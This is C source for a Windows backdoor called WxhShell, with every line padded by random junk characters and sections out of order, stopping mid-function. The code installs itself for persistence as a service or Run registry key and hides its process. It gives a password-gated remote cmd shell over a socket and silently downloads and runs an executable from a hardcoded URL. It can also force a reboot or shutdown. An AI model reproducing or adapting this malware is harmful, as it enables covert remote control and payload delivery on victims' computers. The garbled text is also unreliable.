    if(Boot(SHUTDOWN)) :] U\{;q2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,YvOk|@R  
    else { /i27F2NQm  
    closesocket(wsh); Nc4;2~XwRp  
    ExitThread(0); J]Z~.f="  
    } &)+H''JY  
    break; JN9>nC!Zy_  
    } [mjie1j/<  
  // 获取shell #| ,cy,v4  
  case 's': { H I_uR$m  
    CmdShell(wsh); Ng !d6]  
    closesocket(wsh);  iKd+AzT  
    ExitThread(0); N8Zz6{rp  
    break; Mh~}RA"H  
  } (&Lt&i _  
  // 退出 1,;zX^  
  case 'x': { _iq62[i3^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qF `6l(  
    CloseIt(wsh); =z"+)N  
    break; jZkc yx  
    } ti%RE:*  
  // 离开 %aw.o*@:  
  case 'q': { gELG/6l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `?N0?;  
    closesocket(wsh); ^Z;zA@[wt  
    WSACleanup(); \ B84  
    exit(1); QM 3DB  
    break; 6MY<6t0a  
        } hchG\ i  
  } m#8[")a$"  
  } 7XyCl&Dc:  
X|Y(*$?D7  
  // 提示信息 Ky%lu^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DZC@^k \E  
} ^s7!F.O C  
  } ,I5SAd|dX  
wz69Yw7  
  return; OrM1eP"I  
} 54z.@BJhE  
<C(o0u&/  
// shell模块句柄 O HpV%8`  
int CmdShell(SOCKET sock) B T"R"w  
{ HLwMo&*rA  
STARTUPINFO si; r#4/~a5i~  
ZeroMemory(&si,sizeof(si)); lD3nz<p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 37jxl+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pb8@owG8  
PROCESS_INFORMATION ProcessInfo; "#o..?K  
char cmdline[]="cmd"; `wtso  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 77)WNL/ x  
  return 0; JJtx `@Bc  
} yTd8)zWq  
L0!CHP/nRS  
// 自身启动模式 \|{/.R  
int StartFromService(void) S$Zi{bU`G  
{ f!#!  
typedef struct %Rn*oV  
{ S=mqxIo@m  
  DWORD ExitStatus; m!%aB{e  
  DWORD PebBaseAddress; c'eZ-\d{  
  DWORD AffinityMask; _;;Zz&c  
  DWORD BasePriority; %;dj6):@  
  ULONG UniqueProcessId; (XVBH 1p"  
  ULONG InheritedFromUniqueProcessId; oXnaL)Rk  
}   PROCESS_BASIC_INFORMATION; eyyME c!  
esnq/  
PROCNTQSIP NtQueryInformationProcess; 6ABK)m-y  
:+PE1=v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <8^x Mjc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k[ro[E  
,.W7Z~z  
  HANDLE             hProcess; .M^[/!  
  PROCESS_BASIC_INFORMATION pbi; 8\lh'8  
ciS,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =zyA~}M2  
  if(NULL == hInst ) return 0; <R /\nYXz  
>UaQ7CRo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /gZyl|kdy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vNv!fkl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !&rd#ZBn  
~pQN#C)CO>  
  if (!NtQueryInformationProcess) return 0; MWh Y&I+  
a^p#M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yk`qF'4]  
  if(!hProcess) return 0; ?F AI@4  
RTm/-6[N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9dhEQ=K{3  
9VnBNuT  
  CloseHandle(hProcess); w]0@V}}u$o  
2aM7zP[Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); | ]*3En:  
if(hProcess==NULL) return 0; R2Fjv@Egk  
@m#OhERv  
HMODULE hMod; E7MSoBX9M  
char procName[255]; Fye>H6MU  
unsigned long cbNeeded; ;ItH2Lw<&  
K"0IWA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;2<5^hgk  
{?H5Pw>{%h  
  CloseHandle(hProcess); ;KlYiu  
hWT jN  
if(strstr(procName,"services")) return 1; // 以服务启动 Ku75YFO,5  
qcj {rG18  
  return 0; // 注册表启动 -d\sKc  
} CBEf;I g  
pUXoSnIq:  
// 主模块 \#_ymM0  
int StartWxhshell(LPSTR lpCmdLine) u S1O-Q>  
{ }xk(aM_  
  SOCKET wsl; 3#>W\_FY*D  
BOOL val=TRUE;  oBkhb  
  int port=0; p%3z*2,(  
  struct sockaddr_in door; At iUTA  
!@=S,Vc.  
  if(wscfg.ws_autoins) Install(); Cq\XLh `  
< (xqw<)  
port=atoi(lpCmdLine); R c+olJ^5  
T- en|.  
if(port<=0) port=wscfg.ws_port; ^viabkf C  
_p-e)J$7  
  WSADATA data; K*>%,mP$i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VVas>/0qr  
q!ZM Wg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |58HPW9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !ZYPz}&N_  
  door.sin_family = AF_INET; UTD_rQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hIJtu;}zU  
  door.sin_port = htons(port); {%R^8  
*q=T1JY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GJeG7xtJKl  
closesocket(wsl); ,CfslhO{j  
return 1; -]Z7^  
} r/j:A#6M]o  
Dr3_MWJ+  
  if(listen(wsl,2) == INVALID_SOCKET) { ,vR?iNd:q[  
closesocket(wsl); 8 "l PiW3  
return 1; v'W{+>.  
} lP F326e  
  Wxhshell(wsl); i2,4:M)CV  
  WSACleanup(); .^Sgl o  
VeYT[Us"  
return 0; "v8p<JfB`  
V?uT5.B2  
} @+gr/Pul^  
J}#gTG( '  
// 以NT服务方式启动 )}ev;37<C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >'*%wf[{  
{ 6 c_#"4  
DWORD   status = 0; jRJG .hcB5  
  DWORD   specificError = 0xfffffff; xZ'fer`&  
'C1lP)S5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ytZo0pad  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P.Z:`P)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $w0TEO!  
  serviceStatus.dwWin32ExitCode     = 0; $DY#04Je\=  
  serviceStatus.dwServiceSpecificExitCode = 0; 2J7|y\N,  
  serviceStatus.dwCheckPoint       = 0; U#jz5<r  
  serviceStatus.dwWaitHint       = 0; 0!hr9Y]Lx  
mZ+!8$1X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @ ^{`!>Vt  
  if (hServiceStatusHandle==0) return; mUBy*.  
2q~ .,vpP  
status = GetLastError(); PG&t~4QM`  
  if (status!=NO_ERROR) XF!L.'zH  
{ JrzPDb`m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $.PRav  
    serviceStatus.dwCheckPoint       = 0; RM;a]g*  
    serviceStatus.dwWaitHint       = 0; g#5R|| r  
    serviceStatus.dwWin32ExitCode     = status; }"D;?$R!  
    serviceStatus.dwServiceSpecificExitCode = specificError; -?Cr&!*B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G:AA>t  
    return; 5\Q Tm;  
  } p*;!5;OUR  
${f<}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d^C@5Pd <  
  serviceStatus.dwCheckPoint       = 0; [wGj?M}  
  serviceStatus.dwWaitHint       = 0; %K6veB{M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c1#0o) q*7  
} }`uyOgGg*  
Q5,zs_j  
// 处理NT服务事件,比如:启动、停止 cOVj @z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yHeL&H  
{ J p'^!  
switch(fdwControl) xl&@g)Jj  
{ EXDDUqZ5\  
case SERVICE_CONTROL_STOP: L&pR#  
  serviceStatus.dwWin32ExitCode = 0; CX|W$b)%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1d5%(:@  
  serviceStatus.dwCheckPoint   = 0; /2tA n  
  serviceStatus.dwWaitHint     = 0; %*R, ceuI  
  { 19E(Hsz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^O07GYF  
  } r,6~%T0  
  return; 4^F[Gp?  
case SERVICE_CONTROL_PAUSE: j4~(6Imm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @8L5 UT  
  break; M\]lNQA  
case SERVICE_CONTROL_CONTINUE: Y%KowgP\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `"5U b,~  
  break; +A}t_u3<  
case SERVICE_CONTROL_INTERROGATE: %_(vSpk  
  break; FM {f{2j  
}; $L*gtZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q0.!T0i  
} cl& w/OJ#  
(i~UH04r>s  
// 标准应用程序主函数 c4H6I~2Na  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) / Hr|u  
{ B2;P%B  
uo"<}>iJ  
// 获取操作系统版本 1j?P$%p  
OsIsNt=GetOsVer(); Y~"tL(WfJl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gIB3DuUo  
Od!)MQ*,  
  // 从命令行安装 $qNF /rF  
  if(strpbrk(lpCmdLine,"iI")) Install(); IiPX`V>RC  
[\8rh^LFi  
  // 下载执行文件 I9X \@ lTf  
if(wscfg.ws_downexe) { @6;OF5VsQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `<7\Zl  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]LvP)0=  
} S\GWMB!oF  
8E%LhA.  
if(!OsIsNt) { (TZK~+]@sb  
// 如果时win9x,隐藏进程并且设置为注册表启动 "qmSwdM  
HideProc(); *C_A(n5"V  
StartWxhshell(lpCmdLine); q/s-".%P  
} K=gg<E<  
else #C9f?fnM  
  if(StartFromService()) f_~T  
  // 以服务方式启动 ;hT3N UCA  
  StartServiceCtrlDispatcher(DispatchTable); )D8op;Fn  
else C[7!pd  
  // 普通方式启动 JwG(WLb:  
  StartWxhshell(lpCmdLine); 0D5Z#iW>1  
_Ewh:IM-  
return 0; %' DO FiU  
} R"cQyG4  
"laf:Ty1  
*AH `ob}  
4|x _C-@  
=========================================== yYz{*hq  
|` T7}U  
-.D?Z8e  
v=k+MvX  
FL mD?nw  
" MnWd BS  
" }&0LoW/  
Ed=/w6<  
#include <stdio.h> +hRy{Ps/  
#include <string.h> ex>7f%\  
#include <windows.h> R27'00(Z0  
#include <winsock2.h> `l|Oj$  
#include <winsvc.h> oCT,v0+4O  
#include <urlmon.h> e$9a9twl  
Wl| i$L)7  
#pragma comment (lib, "Ws2_32.lib") w%L4O;E]*{  
#pragma comment (lib, "urlmon.lib") f I1CT)0<e  
A7L;ims7  
#define MAX_USER   100 // 最大客户端连接数 byM%D$R  
#define BUF_SOCK   200 // sock buffer  P^te  
#define KEY_BUFF   255 // 输入 buffer f ,e]jw@  
vHi%UaD-y  
#define REBOOT     0   // 重启 d+DO}=]  
#define SHUTDOWN   1   // 关机 vu( 5s  
A@?0(  
#define DEF_PORT   5000 // 监听端口 6u_i >z  
^q-%#  
#define REG_LEN     16   // 注册表键长度 DOWWG!mx  
#define SVC_LEN     80   // NT服务名长度  q0ktABB  
v!I z&M:z  
// 从dll定义API )@! fLA T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dA<%4_WZty  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }83 8F&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .$\-{)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2J=`"6c  
=%` s-[5b  
// wxhshell配置信息 d(^8#4  
struct WSCFG { Bz'.7" ":0  
  int ws_port;         // 监听端口 0moAmfc  
  char ws_passstr[REG_LEN]; // 口令 :Wbp|:N0  
  int ws_autoins;       // 安装标记, 1=yes 0=no k| OM?\  
  char ws_regname[REG_LEN]; // 注册表键名 SPqJ [ F  
  char ws_svcname[REG_LEN]; // 服务名 uO4 LD}A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3eY>LWx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zj[m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .>W [  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R+!U.:-yz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zY/Oh9`=v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xd{.\!q.  
i$kB6B#==  
}; 5WI bnV@  
d>[i*u,]/  
// default Wxhshell configuration b36{vcs~  
struct WSCFG wscfg={DEF_PORT, 2)IM<rf'^  
    "xuhuanlingzhe", p&I>xu8fl  
    1, A.b^?k%I  
    "Wxhshell", )j2 #5`?"j  
    "Wxhshell", JWHsTnB  
            "WxhShell Service", #`y[75<n  
    "Wrsky Windows CmdShell Service", dOv\]  
    "Please Input Your Password: ", U*+-#  
  1, 18X?CoM~  
  "http://www.wrsky.com/wxhshell.exe", h1S)B|~8  
  "Wxhshell.exe" (?Ko:0+*  
    }; .6MG#N  
hTa X@=Ra  
// 消息定义模块 P4B|l:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i6yA>#^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A{> w5T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0_qr7Ui8(  
char *msg_ws_ext="\n\rExit."; =mLp g4  
char *msg_ws_end="\n\rQuit."; 5QqU.9M  
char *msg_ws_boot="\n\rReboot..."; XW aa`q  
char *msg_ws_poff="\n\rShutdown..."; YWU@e[  
char *msg_ws_down="\n\rSave to "; ]#NfH-T  
'jO2pH/%  
char *msg_ws_err="\n\rErr!"; _N;@jq\q  
char *msg_ws_ok="\n\rOK!";  +C\79,r  
C9+rrc@4  
char ExeFile[MAX_PATH]; (-yif&  
int nUser = 0; by1q"\-,  
HANDLE handles[MAX_USER]; NK|U:p2H  
int OsIsNt; u>;aQtK~  
y)KIz  
SERVICE_STATUS       serviceStatus; u.q3~~[=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -`8@  
~ 6=6YP  
// 函数声明 50 w$PW  
int Install(void); qt.4dTd:_  
int Uninstall(void); cEf"m ?w  
int DownloadFile(char *sURL, SOCKET wsh); Lu^uY7 ?}  
int Boot(int flag); <k[_AlCmsg  
void HideProc(void); u$tst_y-  
int GetOsVer(void); gZ&4b'XS,  
int Wxhshell(SOCKET wsl); 4U\>TFO  
void TalkWithClient(void *cs); W'"hjQ_  
int CmdShell(SOCKET sock); uPl7u 1c  
int StartFromService(void); ^6# yL6E,~  
int StartWxhshell(LPSTR lpCmdLine); p p0356  
iJdJP)!tz6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `'|6b5`2j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <Z t]V`-  
bq5ySy{8  
// 数据结构和表定义 < e3] pM  
SERVICE_TABLE_ENTRY DispatchTable[] = L [PqEN\i  
{ )'jGf;du  
{wscfg.ws_svcname, NTServiceMain}, M#Z^8(  
{NULL, NULL} ] K&ca  
}; H.M: cD:  
xY)eU;*  
// 自我安装 pS-o*!\C.  
int Install(void) r;b`@ .  
{ Y->sJm  
  char svExeFile[MAX_PATH]; gna!Q  
  HKEY key; q=e;P;u  
  strcpy(svExeFile,ExeFile); =P,mix|  
V|A.M-XLv4  
// 如果是win9x系统,修改注册表设为自启动 c611&  
if(!OsIsNt) { xuHP4$<h3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { = mQY%l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b&A/S$*  
  RegCloseKey(key); wx-&(f   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }+lK'6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \_u{ EB'b  
  RegCloseKey(key); rhzI*nwOT  
  return 0; N6kMl  
    } JK,^:tgm  
  } ~i?Jg/qcxN  
} ~tTa[_a!  
else { Q(x=;wf5r  
;~ Xjk  
// 如果是NT以上系统,安装为系统服务 mx1Bk9h%Xe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [jN Vk3  
if (schSCManager!=0) L$a{%]I  
{ u`B/9-K)y  
  SC_HANDLE schService = CreateService E_ 30)"]  
  ( A##Q>|>)  
  schSCManager, Dd0yQgCu  
  wscfg.ws_svcname, ^{J^oZ'%~  
  wscfg.ws_svcdisp, tag)IWAiE  
  SERVICE_ALL_ACCESS, %1cxZxGT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U1 3Lsky%  
  SERVICE_AUTO_START, A"DGn  
  SERVICE_ERROR_NORMAL, -mO<(wfV>  
  svExeFile,  })!-  
  NULL, n9 bp0#K  
  NULL, G~_eBy  
  NULL, L})fYVX  
  NULL, G,6`:l  
  NULL |CQjgI|;  
  ); 2N-p97"g  
  if (schService!=0) k^JgCC+  
  { 902A,*qq  
  CloseServiceHandle(schService); EhD%  
  CloseServiceHandle(schSCManager); h`Ej>O7m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =|O]X|y-lZ  
  strcat(svExeFile,wscfg.ws_svcname); _eQ-'")  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b* n#XTV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H9_>a-> )~  
  RegCloseKey(key); L kafB2y  
  return 0; IN;!s#cl:  
    } UC`sq-n  
  } ?3LV$S)U  
  CloseServiceHandle(schSCManager); ,: z]15fX  
} VAheus  
} _;BNWH  
%26HB w=JF  
return 1; / E!6]b/  
} _;x`6LM  
aFnyhu&W'  
// 自我卸载 ?=?*W7  
int Uninstall(void) \2f?)id~  
{ ;eFV}DWW  
  HKEY key; zb~;<:<  
T z:,l$  
if(!OsIsNt) { vGH]7jht  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ELG{xN=o  
  RegDeleteValue(key,wscfg.ws_regname); MjBI1|*  
  RegCloseKey(key); Vl(id_~_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6 P9#6mZ  
  RegDeleteValue(key,wscfg.ws_regname); [$>@f{:  
  RegCloseKey(key); ,DW q  
  return 0; \/wk!mWV@  
  } BD.l5 ~:  
} :hB6-CZkqN  
} LEg|R+ 6E  
else { &RS)U72  
ndB qXS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *!NW!,R  
if (schSCManager!=0) _M>S=3w  
{ cy8r}wD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q^Vch(`&P  
  if (schService!=0) 2nFr?Y3g,  
  { ( Q&jp!WU  
  if(DeleteService(schService)!=0) { bLg gh]Fh  
  CloseServiceHandle(schService); Mu" vj*F  
  CloseServiceHandle(schSCManager); X)TZ  S  
  return 0; 8BY`~TZO$q  
  } /K,@{__JP  
  CloseServiceHandle(schService); |e+r~).4B  
  } su60j^e*  
  CloseServiceHandle(schSCManager); EcR[b@YI  
} t1#f*G5  
} vl`St$$|  
\WUCm.w6\%  
return 1; )>rYp )  
} /byF:iYI  
'oBv(H  
// 从指定url下载文件 ldKLTO*&  
int DownloadFile(char *sURL, SOCKET wsh) B(wi+;  
{ hR>`I0|p&  
  HRESULT hr; ]'#^ ~.  
char seps[]= "/"; Y}\3PaUa  
char *token; 527u d^:  
char *file; *MWI`=c  
char myURL[MAX_PATH]; {Z$]Rj  
char myFILE[MAX_PATH]; Tz(Dhb,  
lP(<4mdP  
strcpy(myURL,sURL); MzW!iG  
  token=strtok(myURL,seps); ~vZ1.y4  
  while(token!=NULL) TYxi &;w  
  { zs-,Y@ZL  
    file=token; cnDBT3$~Z  
  token=strtok(NULL,seps); naY#`xig  
  } v`jFWq8I,  
WK SWOSJ  
GetCurrentDirectory(MAX_PATH,myFILE); mL@7,GD  
strcat(myFILE, "\\"); LKud'  
strcat(myFILE, file); !?B2OE  
  send(wsh,myFILE,strlen(myFILE),0); @nj`T{*.  
send(wsh,"...",3,0); r_V^sX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ys5I qj=mp  
  if(hr==S_OK) gFM~M(  
return 0; ;UQ&yj%x  
else ' b,zE[Q  
return 1; T!pHT'J  
M%eTNsbNm  
} lzz68cT  
=*WfS^O  
// 系统电源模块 [}l 1`>  
int Boot(int flag) ?zXlLud8  
{ .6i +_B|  
  HANDLE hToken; ${U H!n{  
  TOKEN_PRIVILEGES tkp; k~1{|HxrE  
- :x6X$=  
  if(OsIsNt) { Pv$O=N6-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #/K71Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?l 0WuU  
    tkp.PrivilegeCount = 1; Nu; 9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z3 na.>Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); erV&N,cI  
if(flag==REBOOT) { $O9#4A;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M[Jy?b)  
  return 0; !;U}ax;AF  
} *pGbcBQ  
else { y(r(q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `b5pa`\4  
  return 0; Ed"p|5~  
} ;uU 8$  
  } .!1E7\  
  else { CakB`q(8  
if(flag==REBOOT) { <*4r6UFR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VC NQ}h[D  
  return 0; 3_Re>i  
} 'p,54<e  
else { L 3C'q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sGJZG  
  return 0; )9rJ]D^B  
} g^2H(}frc  
}  [ "Jt2  
eOd'i{f@F  
return 1; mLeK7?GL  
} VSm{]Z!x  
UZW)%  
// win9x进程隐藏模块 14Jkr)N  
void HideProc(void) n\4sNoFI  
{ xNxSgvco ,  
Z uO 7 N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $,7Yo nc  
  if ( hKernel != NULL )  !*-|s}e  
  { J po(O>\P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NFb<fD[C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WNV}@  
    FreeLibrary(hKernel); :W1B"T<  
  } 4"%LgV`  
M[ ,:NE4H  
return; 09HqiROw  
} G+Zm  
k!wEPi]  
// 获取操作系统版本 ~@VyJT%  
int GetOsVer(void) 140_WV?7  
{ ygTc Y  
  OSVERSIONINFO winfo; ]AB4w+6!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D3;#:  
  GetVersionEx(&winfo); p!~V@l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X~g~U|B@  
  return 1; ,A!0:+  
  else p+1kU1F0  
  return 0; Sa$-Yf  
} Eg#WR&Uq"  
ksli-Px  
// 客户端句柄模块 ^/$bd4,z  
int Wxhshell(SOCKET wsl) XRWy#Pj  
{ agPTY{;  
  SOCKET wsh; !&vPG>V  
  struct sockaddr_in client; (%iCP/E3  
  DWORD myID; Wr\A ->+  
|Skhx9};  
  while(nUser<MAX_USER) kG3m1: :  
{ Zm/I&  
  int nSize=sizeof(client); 2G BE=T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .OSFLY#[?  
  if(wsh==INVALID_SOCKET) return 1; IX 2 dic'  
=$Sd2UD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O/PO?>@-/  
if(handles[nUser]==0) 6^"Spf]  
  closesocket(wsh); `-82u :"  
else J0 x)NnWJ  
  nUser++; 77p8|63  
  } pu6@X7W"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3etW4  
GC^>oF  
  return 0; <Is~DjIav  
} di]TS9&9  
5X,|Pn  
// 关闭 socket rE$=~s  
void CloseIt(SOCKET wsh) _tQR3I5  
{ p;9"0rj,z  
closesocket(wsh); WBY_%RTx  
nUser--; NN@'79x  
ExitThread(0); Hn!13+fS  
} <GO 5}>}p8  
xg_9#  
// 客户端请求句柄 qO}Q4a+  
void TalkWithClient(void *cs) 9._owKj  
{  <]h?_)  
&O.lIj#F R  
  SOCKET wsh=(SOCKET)cs; k^*S3#"  
  char pwd[SVC_LEN]; 3/ 0E9'  
  char cmd[KEY_BUFF]; (od9adSehV  
char chr[1]; 4S3uzy%  
int i,j; )V?:qCuY>  
xy[aZr  
  while (nUser < MAX_USER) { K+ @R [  
Q6rvTV'vv  
if(wscfg.ws_passstr) { p5\B0G<m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )lrmP(C*.a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wOs t).  
  //ZeroMemory(pwd,KEY_BUFF); I7e.p m  
      i=0; D $3Mg  
  while(i<SVC_LEN) { 6$A>%Jtwe  
Dt=@OZW  
  // 设置超时 KetNFwbUf  
  fd_set FdRead; :2(U3~3:  
  struct timeval TimeOut; 8zzY;3^h;  
  FD_ZERO(&FdRead); `(o:;<&3  
  FD_SET(wsh,&FdRead); -]k vM  
  TimeOut.tv_sec=8; zX}t1:nc  
  TimeOut.tv_usec=0; h3t);}Y}D9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rki0!P`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }*s`R;B|,  
 w0`8el;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #l#8-m8g)  
  pwd=chr[0]; ?]PE!7H  
  if(chr[0]==0xd || chr[0]==0xa) { ?n(OH~@$i  
  pwd=0; + Un(VTD  
  break; yU'<b.]  
  } <S68UN(Ke  
  i++; 0Tq=nYZA  
    } r6gfxW5  
&ws^Dm]R  
  // 如果是非法用户,关闭 socket fv/Nf"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dh S7}n  
} xY>@GSO1  
m< Y  I}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z]qbLxJV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iqr/MB,W  
omzG/)M:O  
while(1) { K2 6`wt  
x ?24oO  
  ZeroMemory(cmd,KEY_BUFF); 1U6 z2i+y  
_kXq0~  
      // 自动支持客户端 telnet标准   K$/&C:,Q  
  j=0; !\5w<*p8  
  while(j<KEY_BUFF) { liU8OXBl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &OsO _F  
  cmd[j]=chr[0]; <sli!rv  
  if(chr[0]==0xa || chr[0]==0xd) { y,s`[=CT  
  cmd[j]=0; h yK&)y?~  
  break; i8->3uB  
  } ,9Si 3vn  
  j++; D1R$s*{  
    } _9:r4|S  
2mEvoWnJ  
  // 下载文件 mLm?yb:  
  if(strstr(cmd,"http://")) { |wINb~trz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qV7 9bK  
  if(DownloadFile(cmd,wsh)) y ~n1S~5cI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g+A>Bl3#  
  else O+OUcMa,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ACOn}yH  
  } dVe,;?+A  
  else { L@s_)?x0  
-}(2}~{e(  
    switch(cmd[0]) { l}SHR|7<  
  o3YW(%cYR  
  // 帮助 C?j:+  
  case '?': { @2g <d  
